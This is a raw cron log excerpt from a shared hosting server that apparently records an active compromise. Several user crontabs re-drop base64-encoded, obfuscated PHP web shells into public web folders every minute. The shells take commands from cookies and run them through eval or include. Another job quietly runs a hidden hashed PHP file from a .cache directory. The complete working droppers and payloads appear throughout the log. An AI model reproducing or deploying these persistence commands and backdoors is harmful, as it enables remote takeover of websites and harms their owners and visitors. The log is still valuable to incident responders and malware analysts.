Mar  1 23:40:01 medusa CROND[29566]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:40:01 medusa CROND[29567]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:40:01 medusa CROND[29568]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:40:01 medusa CROND[29574]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 23:40:01 medusa CROND[29578]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 23:40:01 medusa CROND[29561]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 23:40:01 medusa CROND[29564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:40:01 medusa CROND[29579]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 23:40:01 medusa CROND[29590]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 23:40:01 medusa CROND[29591]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:40:01 medusa CROND[29592]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:41:01 medusa CROND[2817]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:41:01 medusa CROND[2925]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:41:01 medusa CROND[3066]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:41:01 medusa CROND[3068]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:41:01 medusa CROND[3069]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 23:41:01 medusa CROND[3070]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:41:01 medusa CROND[3077]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:41:01 medusa CROND[3078]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 23:41:01 medusa CROND[3089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:41:01 medusa CROND[3090]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:41:01 medusa CROND[3091]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:41:01 medusa CROND[3092]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:41:01 medusa CROND[3093]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:41:01 medusa CROND[3094]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 23:42:01 medusa CROND[10466]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:42:01 medusa CROND[10467]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:42:02 medusa CROND[10704]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:42:02 medusa CROND[10737]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:42:02 medusa CROND[10738]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:42:02 medusa CROND[10739]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:42:02 medusa CROND[10743]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
